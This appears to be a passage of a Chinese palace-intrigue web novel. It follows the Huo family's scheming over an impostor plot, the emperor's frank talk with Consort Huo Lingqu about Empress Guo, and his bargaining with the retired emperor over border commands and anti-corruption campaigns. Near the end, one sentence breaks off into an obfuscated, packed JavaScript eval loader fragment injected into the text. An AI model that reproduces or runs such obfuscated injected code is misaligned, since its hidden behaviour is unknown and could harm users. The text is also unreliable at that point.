“大人莫忘了,北境有契丹威胁、南有交趾为患,朝廷还在两线作战,皇帝陛下真想夺权也会在边境局势真正稳定后。”行知肯定笑道:“既不耽于享乐又不沉迷女色、有雄心壮志又能隐忍的皇帝是不可能连这点时间都等不起的。” “对对对,行知你考虑得有道理。”蒙侍郎仿佛茅塞顿开般想起来而高兴赞同,行知不疾不徐恰时送上:“陛下登基越久只会对他越有利。” 蒙侍郎笑意凝固,他沉默片刻感叹:“夜深了,今夜就到此,行知你回屋休息吧。” “好,大人也早些安置。”行知颔首告辞,轻车熟路离开蒙侍郎的书房返回他住的小院。闭门进屋铺纸研墨,只是把要送到远方的信写好后,他仍然久久独坐在书桌前。 今夜或许注定难眠,宫宴散时天已黑透,太上皇便留宿皇宫,诲仰道长独自回太微宫,回到他住的屋里翻箱倒柜找出陈旧还有些破损的彩绳手环,他攥着这手环慢慢眼睛红了。 霍漓江把自己关在书房里,跨进家门就把自己关在前院的书房里,关到现在近亥时末,霍海啸扣扣门叫叔叔没收到任何反应,他犹豫下没有再敲门,把食盒放下就离开。 走过一段路,他走进祖父在前院的居所,推门跨进祖父的书房就看到他们还在吃馄饨。他祖父在宫宴上累到了,回家里先休憩了个把时辰,小憩好后没有睡意就召儿孙夜谈。 “二叔还躲着在独自难受,我估摸着叔叔今夜要通宵。”霍海啸肯定猜。 “八成抱着灵渠她母亲的牌位在哭咧,随便他吧。”霍擎老太爷随意挥挥手,吃下最后只馄饨再把馄饨汤喝尽,吃饱喝足拿手绢擦擦嘴问:“振羽带他娘和蓁蓁回来了?” 霍海啸答:“三刻钟前回到府里,雄鹰和三叔在给他开解,我娘和三婶在宽慰二婶。” “大哥,好歹…好歹你别牵扯灵儿,振羽和我们再剑拔弩张也犯不着拖灵渠下水。”霍巨浪真觉得他哥太狠:“妹妹大概还得以为她是好意,你至于做得这么绝吗?” “对敌人仁慈就是对自己最大的残忍。”霍海啸反训道:“贵妃注定要在我们和霍振羽之间做抉择而答案也是注定的,灵渠今日就果断表明立场也省得日后麻烦。” 霍巨浪深呼吸压住紊乱翻涌的气息,真想拿倒霉弟弟的评语怼兄长:你要没救了你! 屋中祖孙五人,做祖父和老爹的两位淡定,霍枫叶也平静,深秋的枫叶染红山林,他的相貌就如他的名字般瞩目,是霍雄鹰这辈中生得最俏的,毕竟他和霍灵渠同龄,论相貌实在没法放在霍秦川霍漓江他们那里做比较。 他看父兄都吃完宵夜了,站起来走到门前叫小厮进屋撤下碗筷再奉茶水进来。外头说霍枫叶在霍家男人中属最平易近人,但真正交往相处过就会知道,他的温厚和气下深藏疏离,莫说比他小的侄儿们,就是比起霍巨浪都要难交心得多。 奴婢们进屋收走碗筷、备上热茶瓜果就再告退,霍擎老太爷吃颗青枣说:“照你们看,振羽要过几天才能没事儿啊?海啸,晏霁之那娃娃就啥意见都没表示?” “走出关雎宫,孙儿问过,他提两个建议:第一,下月调任佟梦佶为茂县县令;第二,霍家上半年就安排蓁蓁出嫁。”霍海啸点评:“真不像是他临时想的。” “茂县?”霍巨浪惊讶:“茂县可在巴蜀最贫瘠险阻之地,何况蓁蓁五月及笄,上半年安排蓁蓁出阁岂非在蓁蓁及笄后就让她嫁人吗?晏霁之这、这到底什么意思?” “意思是他要动佟家!”穆国公霍秦川笑:“英王府的大火烧起来时灵渠还是他的爱妾,佟老太太挑唆英王妃要害死他的爱妾,他凭什么不追究?况且佟家想吸血姻亲的心与日俱增,行事也愈发肆无忌惮,再不出手掐灭恐出祸害,的确是时候了。” 霍擎拍板道:“忍二十多年,这娃娃也够不容易的,咱霍家就给他当回前锋兵,海啸你就从佟家那些姻亲里帮蓁蓁挑个婆家吧。” “好,祖父。”霍海啸应,霍巨浪嘴唇嚅嗫想替霍蓁蓁争取下终究还是什么都没说。 “照你们看,陛下对灵渠有真心吗?”霍擎再吃颗青枣,霍海啸考量道:“在关雎宫,孙儿询问过晏霁之的看法,他的答案有些不寻常:陛下想要圆满,皇位已得,霍家能弥补外祖家的缺憾,生母早亡而养母不能强求,陛下现在只差情爱。” 正在咬枣肉的老太爷微顿,霍巨浪和霍枫叶对视眼,他真怀疑晏霁之没在无的放矢吗?霍秦川确认:“霍家能弥补陛下对外祖家的缺憾?海啸,这判断可重啊。” 霍海啸暂时也琢磨不透:“是啊,孩儿想他肯定有所凭仗,总不可能随便瞎揣测。” “正月里陛下能赐死珍修仪就让人惊讶,眼下让忠毅伯到年纪就致仕,老头我都意外,可能咱们确实错估皇帝对生母娘家的态度了。”霍擎摆手道:“行啦,这事以后再想。 明早呢,老大派信把咱霍氏族里还算有点出息的儿孙们都叫进京里来给贵妃瞧瞧,海啸带你娘和媳妇给灵渠备些零用送宫里;巨浪和你三叔去武襄侯府把咱家给那假货的嫁妆一个铜板都不能少的拉回来,枫叶带雄鹰去把桑柔丫头接回家来。” 霍巨浪稍稍建议:“祖父,拉嫁妆这事不太好看吧。”然后被他祖父痛骂:“不好看个屁!他武襄侯府想拿我霍家的钱财养个不知道从哪个旮旯里冒出来的儿媳妇还要脸吗?老头我没把对俩假冒货的怒火迁怒到他家就够客气了,还想要好看,做啥白日梦?” “对对对,祖父说得对,但您猜那假冒货的身份?”霍巨浪担心啊:“您瞎猜的吧?” 穆国公霍秦川眉眼间略有深沉,年轻的三位注视老太爷,霍擎目光幽幽:“祖父没瞎猜。”话落,他嘲讽笑笑,老脸神情莫测地告诫儿孙们:“假冒货是不是公主不重要,太上皇想把这场阴谋推给谁家就得是谁家,护国公府都是他的心病了,现在多好啊。” 霍巨浪和霍枫叶震惊但没言语,霍海啸惊问:“祖父,圣人能至于如此吗?” “瞌睡遇到枕头的好事,有啥不能?”冷意藏在懒散的语调后,霍擎安排道:“老大给护国公写封信让护国公派遣藏在京中的暗哨送,再和陛下谈谈,要快,圣人不会拖久的,咱们都想想怎样让事态按着咱自家的意愿办,散了吧。” 穆国公霍秦川带小辈们告退,散落庭前的星辉已寻不见踪迹,只有盏盏灯笼照明前路。 69. 第69章 漫长难宁的夜在鸡鸣声中悄然退场,天际拂晓,东方汇聚起重重叠叠的蔚红霞彩似在蓄势又似增添阻碍,终于,朝阳在酝酿已久的累积下冲破云端,展现人间未有的瑰丽美景。 霍灵渠一袭茜红织金明媚宫裙站在窗前,茜红的丝缎富于色彩渐变,及至裙摆时近乎已是偏白的淡淡粉色,缀亦绣得活灵活现的绿牡丹,非但丝毫不俗反是宫裙的点睛之笔。 嬴忱璧绕过九扇紫檀边座嵌琉璃玉石屏风,看见贵妃还站在窗前凝望朝阳,他走上前叮咛:“卯时中了,太上皇在皇城,朕要去长春宫给父皇母后请安;贵妃也是时候动身出门去椒房殿给皇后请安吧,朕让厚运陪着你,皇后不会欺负你的。” 今早卯时正刻宫人们在寝殿内室外叫起,霍灵渠夜里睡得沉偏又做半宿光怪陆离的梦,浑浑噩噩醒来还以为仍然在蔚然居呢,迷糊半响有宫娥在她床前喊娘娘才恍惚想起来,可大清早就疲累没精神,和皇帝在寝殿里同时洗漱也烦闷尴尬,就如昨晚般错开。 “我不去,坏掉规矩就坏掉规矩吧,我不会遵照嫔妃每日清早要给皇后请安的规矩。” 嬴忱璧心情不错,今早挑身朱红色锦绣花纹镶边的帝王常服,图喜庆,又让宫婢们也拿明媚的红艳宫装伺候贵妃穿戴,闻言他很爽快:“没事,朕让厚运去椒房殿打声招呼,今后清晨贵妃不必向皇后问安,那今早,贵妃就陪朕去长春宫给圣人和太后请安吧。” 霍灵渠心烦躁,烦得连去给她姑母请安都提不起兴致,烦得哪哪儿都不舒服,故意找茬:“派您的贴身内侍给皇后打招呼,陛下就不担心皇后骂您对霍家奴颜媚骨吗?” 可能嬴忱璧的心情真不错,对于奴颜媚骨四字他都没恼:“皇后直率,有时候还一厢情愿盲目自我,只有事事合她的心意她才没怨言,世间哪儿会有这种事?” “陛下对郭皇后还有夫妻情份吗?”霍灵渠莫名有点触动就想问:“昨夜和兄长谈及往事方知霍家强抢凤座的始末,您似乎根本没想过要对嫡长皇子寄予厚望,是吗?” 嬴忱璧沉默两息时间再往前走两步,放眼看窗外高悬的太阳如此朝气蓬勃生机昂扬,他弯弯唇浮起极浅的笑:“知道皇帝竟然才是整件事的幕后推手,觉得朕很阴险吧?” “陛下的处境也难,有柄刀悬在头顶威胁着,皇帝也只能选先保住自己的命再论其他。”霍灵渠真不是同情心泛滥更没想同情皇帝,但真觉得想求长生的太上皇造孽:“国母尊位是皇帝和当朝第一豪族联手夺权的盟约,你不给,霍家凭什么帮你?” 嬴忱璧龙颜舒心,高处不胜寒,帝王向来是寂寞的,有个能说说心里话的人真好:“不,这不是根本,根本原因是我顾念一双儿女想替她和儿女谋划条最好的出路。” “最好?”霍灵渠狐疑打量他,嬴忱璧不带情绪的说:“皇后自私怯懦、爱慕虚荣、眼界狭隘只记仇不记恩、甚至尊己卑人觉得丈夫对她好就是该的、犯多大错都不会反思自己,放任她继续坐后位的下场就是她把自己和儿女还有娘家全部送上死路。” 皇帝是有什么经验教训才有这么大怨吗?霍灵渠暗暗试探:“郭皇后能犯多大错呀,最多就想要让她的皇儿做储君,对皇后而言也不算多大错吧?” 嬴忱璧心虚下:“对,朕就是这意思,我们该去长春宫给父皇母后请安了。” 霍灵渠灵敏反驳:“不对,陛下说郭皇后犯多大错都不会反思自己明明不是指皇后想争储位这等事而是想指她能做出比争储位更严重得多的事。” “没有的事,贵妃别瞎想瞎猜,我们真的该去长春宫请安了,否则该晚了。”嬴忱璧伸手带贵妃走反被躲开,霍灵渠刨根:“我就瞎猜,你不说,我就召霁之进宫和他讨论。” 嬴忱璧:“……”皇帝平静下给忠告:“贵妃若再仗着朕的宠爱胡闹,朕真会生气的。” “我和姑母和祖父瞎猜也行的,妇人能犯多大的错?”霍灵渠发现呛皇帝能治烦躁呀,她笑颜如花:“您放心,我会请姑母和霍家帮皇上查查皇后是不是给您戴绿帽了,我们现在就去长春宫请安吧,再不出门真会迟到的。” “贵妃?!”嬴忱璧悲催警告:“再胡言乱语胡说八道胡作妄为,朕可要惩戒你了。” 皇帝在心虚吗?霍灵渠眨眨眼可真没想到被她瞎蒙蒙对了,秉持着挑衅皇帝的原则对呛:“还真是呀,陛下尽管惩戒,我今天就宣扬得整座皇城都知道保管明天就传到宫外,趁圣人还在皇宫里能给陛下您做做主,我们现在赶紧去长春宫吧。” 最悲催的就在于皇帝他拿贵妃没辙,所以谈心有风险需谨慎,但真豁出去也没什么了。嬴忱璧郁闷妥协:“是在同个屋檐下生活十多年,朕太清楚,太清楚郭氏的品性。 倘若朕一两年不碰她、又有嫔妃想毁掉皇后悄悄给她安排男宠,她真的会耐不住寂寞、经不住诱惑而去偷情,被发现时还能反怨恨全是丈夫冷落所致。” 逼出确凿答案,霍灵渠反倒不知该说些什么,嬴忱璧问:“贵妃不信朕的判断?” “我信,陛下何至于给自己揣测绿帽?”霍灵渠真信,皇帝的经验之谈啊,但她奇怪:“可陛下登基前应该就已经有所领悟,怎会还愿意让郭皇后怀胎?况且她品性已是如此,你既不认为她能改、她有丈夫时都没守住又怎会在遁入空门后就能守住?” 嬴忱璧刚想回答贵妃的第一个疑惑就听到贵妃的第二个疑惑,他眼神一点点就阴鸷起来,是啊,凭什么认为郭氏遁入空门会忍寂寞?郭氏像能忍得住寂寞吗? “陛下?”霍灵渠看皇帝的神情真有点厉害,嬴忱璧收起阴冷,近前步搂住贵妃带她往寝殿外走顺便解答:“因为朕初初登基,朝堂人心浮动厉害,皇后有孕可助安定人心。” 霍灵渠反抗被皇帝更强硬箍紧,她抬眸对上皇帝不达眼底的假笑,迟疑下没再挣扎。 短短数十步路程,他们来到寝殿外的廊檐下时嬴忱璧已彻底把怀疑和阴鸷埋进心底,笑容可掬得吩咐贴身太监:“贵妃有头疾不能早起,今后,贵妃清晨向皇后问安就免了,厚运你亲自去椒房殿传话,记得劝解皇后莫瞎想。” 总管太监蒋厚运领旨,恭送陛下带贵妃娘娘坐轿辇离开才咽咽口水,这打脸也太狠了。 他真觉得陛下今早起来后心情就特别好,可贵妃昨夜又没侍寝,陛下都是睡软塌过的,陛下在高兴什么呢竟连贵妃这样过分的要求都能应?迎上大片探询视线,他捏尖嗓音淡定:“没听到么,贵妃有头疾不能早起,你们跟咱家去椒房殿传令吧。” 嫔妃每日清晨给皇后请安的规矩是:正六品及以上的嫔妃才能有资格每日给皇后请安,从六品及以下的嫔御唯有在头回侍寝的第二日清早才能到皇后面前露露脸。 椒房殿里除霍贵妃和被禁足反省的霍秀仪外能给皇后请安的嫔妃都已在座,大总管突然到来丢下这样道旨意,殿内的反应真不要太精彩,但基本在意料中,蒋厚运恭敬弯腰赔笑:“娘娘,贵妃是太后的亲侄女又和陛下有青梅竹马的情谊,难免会招陛下多些怜惜。 老奴来前,陛下还专门交代奴婢劝解您莫瞎想,但老奴想皇后娘娘您和陛下夫妻一体同心同德自是一样疼爱贵妃,您自然体恤贵妃,哪儿还需老奴来劝解?” 郭皇后绷紧脸捏紧秀拳艰难挤出维持在人前的得体:“知道了,大总管退下吧。” 翁美人觑眼皇后,低头憋笑捧孕肚,很不厚道想果然看到别人不舒坦能令自己舒畅,她感觉她的皇儿要被贵妃抢走的难受这会儿都有一丢丢的缓解了。 坐在最末端的冰蓝宫裙丽人肌肤莹白似雪,姿态优雅娴静,偏妩媚艳丽的容貌生生在恬静沉稳的气质中硬掰向端庄挂,正是如今正六品的喻秀仪,她同样瞥眼皇后再低头。 没有幸灾乐祸只觉讽刺,大总管主动示好给皇后找台阶下都不要,怨不得前朝那些秉性或刚正或迂腐的御史还有与霍家不对付的人家都没兴趣联合起来帮皇后出头,想来皇后定然也想不到今日该尽儿媳的孝心去长春宫给公婆请安。 在座还有两位与郭皇后一同从潜邸过来的‘老人’,皇后训示结束责令她们退下,令愔夫人想再留下被杭婕妤拉走,走出椒房殿走得够远了,杭婕妤劝她:“嫔妾知道夫人心地好,可皇后正在气劲儿上能听得进什么劝,夫人何必去触这霉头?” “即使不劝皇后宽心,可我怕皇后被这岔乱闹得会忘记该去长春宫请安。”令愔夫人要派宫女跑椒房殿提醒又被杭婕妤拦住怀疑:“请安?请什么安,太后定初五、十五、二十五让陛下和皇后到长春宫晨昏定省,今日又不是请安的日子。” “圣人昨夜留宿在皇城,今早要起驾回太微宫,皇后娘娘身为儿媳哪能不现身相送?”令愔夫人再要派遣宫娥再再被阻拦,杭婕妤心里腹诽今早没有岔乱恐怕皇后也想不到,面上一派担忧:“夫人就不怕皇后去长春宫请安会变得更糟吗? 贵妃定然随陛下在长春宫,我们陪着皇后从潜邸过来的,多多少少好歹知道些,皇后很少喜怒不露声色,若是到长春宫之后控制不住,看在圣人和陛下眼里岂不反而不美?” 令愔夫人迟疑纠结稍许终是没坚持,叹息道:“陛下何苦这般骄纵贵妃?” “嫔妾读书虽然不多,一些粗浅道理倒也听过。”杭婕妤示意跟随的宫人退远,悄声道:“第一点是老祖宗传下来的俗语:天若欲其亡,必先令其狂;第二点是忍,多少官宦家的当家主母都靠着忍字在过日子,可皇后至今学不会个忍字,怨不得陛下会想敲打。” 新生的朝阳照耀得宫道明亮而灿烂,两只采花蜜的小蜜蜂追逐着花香欢快寻觅盛春。 长春宫里和恰融融,太上皇不在意这点小事,就是看皇帝心情好,高兴都快藏不住了,再三想忍还是忍不住要问皇帝:“皇儿如此愉悦是有何喜事吗?” “父皇,朕册封贵妃的喜事啊,孩儿和灵渠蹉跎多年终于能圆满,孩儿当然高兴。” 霍灵渠&太上皇:“……” 皇帝不像在装,昨夜到今早也确实没别的事,但就因为册封贵妃吗?况且贵妃昨夜都没侍寝啊就能让皇帝高兴成这样?太上皇觉得他可能需要重新审视皇帝对贵妃的态度。 魏王夫妻、晋王夫妻、湘王夫妻和未娶妻的两位弟弟、最小的妹妹乐阳前后脚来请安,殿里有说有笑维持着皇室家族的表面和睦,就等着郭皇后过来一同用早膳,哪想等到他们全部喝过盅燕窝,小内监进殿来报信:“禀圣人、陛下、太后,皇后娘娘送大皇子去拙曜堂读书了。” 三位王妃妯娌悄悄面面相觑,晋王忍住没翻白眼,霍灵渠真惊讶得微愣,嬴忱璧沉默下代皇后向父皇请罪,太上皇和蔼表示不碍的,霍太后吩咐宫人传膳。 一道道热腾腾的精致膳点端上桌:血燕粥、香米粥、鸡丝粥、蟹肉粥、红豆胭脂粥……单粥品就六种类,待所有早膳膳点上齐,霍灵渠粗略扫眼大概四十多份碗碟。 “内廷削减用度再有三个月就满四年了吧。”魏王突兀挑话:“今日是难得,平常父皇和母后的早膳也就十多种膳点,太妃们过得拮据,听闻连皇后都时常抱怨大皇子的用度不够嫌皇帝抠搜,陛下是不是考虑恢复原先的用度或者现有用度上再加些?” “抠搜?”嬴忱璧似乎很感兴趣:“皇兄从哪儿听闻皇后抱怨朕抠搜?” 太上皇夫妇不受影响,晋王也懒得看他们闲侃,魏王弯弯唇浅笑:“有两回在宫中碰到过宫人躲懒聚着喝酒赌钱扯宫中闲话,哪些奴婢不记得了,但皇后娘家建威侯府中确有皇后和大皇子用度不够的闲话,陛下派人打听便知。” 嬴忱璧板脸训斥:“何谓拮据?太妃们是想每顿用三四十道菜肴还是每月穿戴五六十套新衣新首饰才算过得勉强宽裕吗?皇家享天下奉养当垂范天下,皇家的体面积威在德在名在品行操持而非衣食器皿,皇室中人不思德行反而沉迷享乐奢靡岂有脸乎? 况且西南叛乱平定还不满一年,南有交趾犯境北有契丹为患,朝廷两线作战举国艰难,将士们在前线浴血奋战,国库里一枚铜板都要掰做两瓣用,皇兄!” 当年皇帝要削减用度就是这么番辞令,老生常谈,魏王很淡定:“陛下教训得是。” 晋王看他真是没事找事非得伸出头挨训,太上皇打个圆场让他们兄弟继续用膳,膳毕,太上皇也没着急起驾回太微宫,带了皇帝去长春宫的花园里消食散步。 留在殿里的诸位,八岁多的简郡王要跟九哥吴王下棋,晋王见状故意找湘王下棋。魏王嗤笑声就叫宫人多备副棋,他要和贵妃手谈两局,霍太后被噎下,恰逢女官有事禀告太后,太后娘娘交代湘王妃照顾好贵妃就撇下这群小辈去处理宫务。 单看相貌,魏王妃温婉、晋王妃娇俏、湘王妃灵动。宫人们把棋盘备好,魏王妃就含笑站在魏王身侧看丈夫和贵妃对弈,湘王妃得婆母叮嘱要看顾好贵妃表姐就也留这边看,于是乎晋王妃走开不是不走开也不是纠结半响最终留着,殿里倒也和顺相宜。 殿外春意盎然,花园里彩蝶儿翩翩绕过枝头踩落片杏花瓣迎着微风招展自在飘扬,嫩绿绿的青草丛里滚着水珠儿晶莹掐尖,往前走,湖泊里锦鲤游曳,这方天地几多鸟语花香。 随侍的宫人们远远跟着保持绝对不能偷听的距离,太上皇走到小湖前,聊发往昔感慨:“任皇后薨逝,自授康十八年到寡人册立继后前,朝堂请立继后的声音就没断过,寡人在德妃和淑妃之间反复犹豫,皇儿可猜得出父皇为何最终决定册立你母后吗?” 嬴忱璧答:“按孩儿的想法推测,应当是父皇从未考虑过册立庄淑妃做继后。” “对!”哪还有在人前惯常见的慈眉善目,太上皇眉眼间尽显君王的冷漠和掌控欲:“做皇后不能没点心机城府但绝不能过深,德妃适合,淑妃的心思就只能做个宠妃。” “霍家强抢后位是孩儿的意思。”嬴忱璧自责状:“事前没有通禀父皇,是孩儿错。” “寡人知道,郭氏做越王妃还能勉强,做皇后实在胜任不了,皇帝想给她找条出路。”太上皇似有欣慰又有些恨铁不成钢:“皇帝重情,父皇的确很欣慰但也感担忧啊,皇帝统御天下注定将是孤家寡人,你如此重情如何执掌社稷安邦定国?” 嬴忱璧做赔笑依赖状:“有父皇您在呢,您慢慢教导孩儿,孩儿绝不敢懈怠。” “呵,你想得美,寡人还想能早些颐养天年。”太上皇貌若嫌弃,似有些父子间的温情,皇帝再笑嘻嘻恭请父皇指点江山,他陪皇儿笑过忽然沉重:“咱们皇家难,宗室是大难,同宗同脉本该同气连枝,可皇家的宗亲就是永远用不好。 宗亲想栽培重用必得防他手握重权后生谋逆篡位之心,若宗亲全部舍之不用又恐养出会掣肘皇权的世家。皇儿看晏家和霍家,霍家三代蒸蒸日上,晏家竟还能出惊才绝艳的后辈,此等家族气运恐怕都能侵蚀咱们皇族的运势了。” “再能呼风唤雨的臣还是臣,父皇想连根拔起,简单,只是霍晏两家目前到底还好用。”嬴忱璧按住思量配合出虚心受教状:“若是把他们两家挪掉,父皇提拔哪家?” “把护国公调回京,派郢国公镇守北境,皇儿觉得可行吗?” 闻言,正徽帝嬴忱璧几乎瞬间就领悟他爹的意思,他垂下眼睑沉吟,答案彼此都有数:“护国公府在北境经营数十载,孩儿恐怕换作郢国公会害他死在战场上。” 这么块肥肉想要的人家太多了,护国公府镇守北境数十年能压住蠢蠢欲动的各方势力,若换守将除非是霍家晏家这当朝第一第二的豪族否则压不住,这两家又想都不用想。 太上皇再提议:“调镇南侯镇守北境,如何?” “若派宗亲镇守北境,蜀王、魏王和镇南侯皆可,皆能保他们不死。”嬴忱璧帮他父皇讲透彻:“若不用宗亲则非晏家霍家不能也,若用霍家晏家能保他们在北境不被压制,可若想消除护国公府在北境的影响,没有十年八载绝不能也。” 太上皇面容沉沉讥讽:“父皇糊涂了,护国公府在北境经营数十载都是北境的土皇帝了,真论可能会侵蚀咱们皇族的运势自是没有谁家比护国公府原家更有可能的了。” 此言一出还能再有转圜的余地吗?嬴忱璧龙颜平静但真头疼,他明白,圣人两回想除掉护国公府都功败垂成,留着护国公府就是打太上皇的脸,他父皇心里恨,可…… “父皇想调护国公回京改派蜀王镇守北境,让郢国公帮衬蜀王?” “魏王是任皇后嫡出,你不放心,寡人明白,但蜀王是你的哥哥。”太上皇安抚道:“哪怕是权宜之计,契丹已经是拔掉牙的老虎,边境不用三年就能彻底安稳;到时若皇儿不放心再把蜀王调回来就是,眼下派蜀王和郢国公镇守北境是最稳妥的。” “孩儿记得父皇在授康年间就想过海禁,只是海禁牵连甚广不能轻易动;可十年前沿海走私的物价就差不多能与市舶司缴纳的税物持平了,而今相较只怕能翻两番甚至翻三番多,沿海走私猖獗已成国之蠹虫,若再拖几年就怕父皇和孩儿想整饬都难办。” 他父皇铁心想动护国公府,嬴忱璧只能谈交换条件:“江南贪腐更严重,今年初,晋王从两淮盐商手中收五十万两白银的孝敬没一月又从江南巡抚手中拿到十万两白银,今年以前数不胜数,朕知道父皇疼爱晋王,可再不管束,难道让晋王做江南的土皇帝吗?” “海禁、整饬江南?”皇帝的胃口真太大了些,太上皇难决:“恐伤国本啊,皇儿。” “霍家要清算当年的阴谋必将在朝堂掀起些波澜,当前正是用霍家的好时机,父皇。”嬴忱璧抛出思路撬撬老爹,太上皇福至心灵,对,可把两件事合成整件事来办,霍家想报仇换种方式给他们就是了:“皇儿想派谁做钦差巡视江南?” “霁之聪慧绝顶,若想今年肃清江南平定海禁风波,非他不能也。”嬴忱璧公私分明说,太上皇就有点怀疑皇帝真欲动真格还是只想把情敌支走了,但皇帝的提议确实可取:“霁儿虽然够聪慧但毕竟还年轻,此等繁杂未必能应对,让他先拟个章程来看看吧。” 嬴忱璧应是,陪太上皇走过圈看看风景再陪着返回长春宫正殿,传令备太上皇的銮驾,而后率众恭送太上皇起驾回太微宫,直到父皇的身影消失,皇帝他才叫散。 两位小王爷带小妹向皇兄和母后告退,去拙曜堂读书;魏王带王妃出宫,晋王带王妃去给生母庄太妃请安更没滞留,嬴忱璧想带贵妃回关雎宫奈何太后不放人。 皇帝平静退让,自己回宣政殿处理奏疏,又派人传晏霁之进宫议事,谁想派遣传令的内监们返回禀告:工部郎中晏霁之今早向衙门告假半月,已经离开英王府去通县了。 宫里很克制几乎没有宫人议论,宫外已然闹得甚嚣尘上满城风雨。今早天刚亮,流光就是霍灵渠就是新册封的贵妃娘娘的消息就如长着飞矢般传遍茶楼酒肆街头巷尾,连昨日宫宴上发生的种种事情都在传,这股热闹劲儿够老百姓们看一年趣味的。 今早卯时中,英王妃冲到蔚然居前怒训又被挡在院门外,耗小半时辰被侄媳妇硬拽走,她叫备马车要回娘家;出府后,她坐在马车里都觉得有路人在对她指指点点看笑话。 谷王妃即霍振羽的岳母霍四奶奶的母亲在半途中断断续续总听到议论声,干脆下马车到茶肆里听段儿八卦再重新进马车里叫车夫赶路,赶到霍家,见到女儿就问女婿怎样? 霍四奶奶鹅蛋脸,眼眸清澈鼻梁挺秀,出落得明艳又倍儿有精气神,她没多少怨的说:“好好的爵位突然没了哪能受得了,天不亮就出门,跑出府躲起来在喝酒吧。”她当然也舍不得爵位,可事已至此,难道要和贵妃和长房拧成仇吗? “你婆婆呢,你这副不痛不痒的德行被你婆婆看见能有你好果子吃?”谷王妃重声教:“你就是装也得把难受悲痛装成十足像,听到没有?” “我晓得的,婆婆清早就带蓁蓁回娘家了,府里现在忙着清点库房要给贵妃备零用。”霍四奶奶说到此凝出抹忧虑:“可是娘,我真怕他们解不开心结不愿意再好好过了。” 谷王妃下意识转头看眼屋外再收回视线,精明的眉梢间更添份利落果断:“过几日你抱灿哥儿进宫给贵妃瞧瞧,下月灿哥儿的周岁宴尽量请贵妃赏脸来,你婆婆和振羽不肯安生,你就多多生养今后只管带孩子们过,有贵妃和你公爹在,不怕孩子们要愁前程。” “好!”真不愧是母女,霍四奶奶应得也爽利,她和霍振羽的情况么,在丈夫面前她自然表现得爱慕相公,私底下她是懒得装的;她也想和相公能有真情,可叫她怎么爱慕个明明幼稚得还如几岁孩童遇事只会找娘找外祖家偏偏还能自命不凡的丈夫? “娘在来的路上听到不少闲言碎语,城里传得沸沸扬扬都在议论贵妃。别家说不准,但建威侯府肯定少不了。”谷王妃压低声音推测:“依娘看,陛下对皇后没多少情分了。” 霍四奶奶不赞同:“原配夫妻的情谊和十多年夫妻的情分还有不得不让郭皇后辞位遁入佛门修行的愧意还有害嫡出儿女将没有母亲的愧意没那么容易消磨殆尽吧?” “你和你相公再过十多年能有多少深情厚义?”谷王妃凉凉戳要害,霍四奶奶被卡住,眨巴眨巴眼看她娘,做娘的教导:“世间能有多少佳偶?百不足一,我们看陛下和皇后是有十多年夫妻情可也得想想世间多不胜数的夫妻都是过着过着就磨尽夫妻情份了。 咱们母女关起门来说话,娘就说句不敬的,皇后是个糊涂性子,娘我都看得清楚,陛下还能不清楚吗?陛下和个糊涂媳妇过十多年有多少情分能留得住?” 霍四奶奶想想是有道理,作甚非得往好处想,皇家夫妻原本就最容易磨灭情分的。母女俩就贵妃的前景再悄悄探讨几句,她拿出只雕花木匣,数出五千两银票给她娘。 “昨晚大嫂悄悄给我的,一万两银票,我婆婆他们都不知道,也没得说算长房的补偿或让我帮衬他们反而劝我婆婆什么的,反正事已至此就希望我看开些别心思郁结。” “你大伯母和三个堂嫂人都不错,今后在二房过得不顺心,你只管和伯母堂嫂们多亲近。”谷王妃没推拒就收下银票,她们母女间犯不着整那些虚套,她更不是见钱眼开,这当中还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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又是这副总爱把她当做奴婢训的腔调,红七娘也不心焦了:“流光是霍灵渠又怎样,与我们有何关系?你做幕僚我做属下都只是替王爷做事、不是教王爷做事,你总想着操控王爷让王爷事事都听从于你,可要当心真触怒主公被赶回老家嫁人啊,妹妹。” “你叫谁妹妹?谁你是妹妹?”任逍立时被刺激,红七娘哼笑起来柔声曼语像在耍猴:“拐得再远也是亲戚呀,你祖母是我的亲姑祖母,我也曾是任皇后赏给悼太子的旧人,比起怀馨你没名没分还非要赖在魏王身边,我怎能当不起你一声姐姐?” “好!你给我等着!”任逍火冒三丈甩头就走,红七娘哪会怵她这点伎俩,翘翘嘴角,哼起小曲摇着团扇往相反方向走,去乌台巷的小院见莫欢,不,霍桑柔。 霍桑柔抱娃在家附近的茶肆里听热闹呢,听到英王妃和佟老太太被褫夺诰命、朝廷将在兴献侯临终时收回爵位这些事可把她乐得在心里痛骂活该;家中仆妇挤进人群找到她时她还抱着娃笑得乐不可支,小祐娃娃拧着小眉毛都奇怪他娘在高兴啥呀这样傻乐? 是霍枫叶和霍雄鹰寻过来了,霍家接人的马车现在就堵在霍桑柔的小院院门前。 乌台巷这片区域住的都是小富的平头百姓或商户,民风还算淳朴,霍桑柔在左邻右舍眼中的情况就是姐姐在高门大户做宠妾、独自带儿子过的泼辣直率美貌小寡妇。突来冒出两位富贵公子、六辆马车、十名奴婢还有二十名护卫来接她,邻里间谁没点好奇? 霍桑柔抱娃带仆妇走到巷口,远远看到她家院门前堵了一溜马车和数十人不由得撇撇嘴,她走到家门前本想直接赶他们走的,没想到见有个男的竟跟她还有点像,不禁愣了愣。 “啊呦娘唉!”霍雄鹰拍下大腿自来熟地叫:“难怪都说小叔长得像二叔,你和蓁蓁嘛,我看着有四五分像,你和小叔能像六七分了,真和三姐似的一看就知道是咱霍家的娃。” “小叔?”霍桑柔随便奇怪:“他不是你的兄弟啊,你们看起来差不多年岁。” 他们双方都平淡得不像认亲团聚偏偏有种说不出的惬意舒服,霍雄鹰有耐心地告诉她:“我跟你说啊,你爹叫霍漓江,我叫霍雄鹰,我是你大伯霍秦川的嫡三子。 我有俩同母亲哥哥叫霍海啸霍巨浪、一同母姐姐叫霍舒窈。他是咱们祖父的老来子叫霍枫叶,小叔比我大哥霍海啸还小八岁、比三姐小一月比我大一岁。家里昨天刚知道那阴谋,所以今早我们就来接你回家了,你在家中姐妹里排行第五。” 霍枫叶微笑向侄女点头,霍桑柔压根儿不甩:“你们来接我,我就得跟你们走吗?你们还真能有脸说你们家居然能被骗十六年多?你们做啥白日梦,赶紧走别挡道。” “这是你的崽?”霍雄鹰瞟向她抱着的小娃,霍桑柔冷哼:“对啊,我的崽,咋样?” 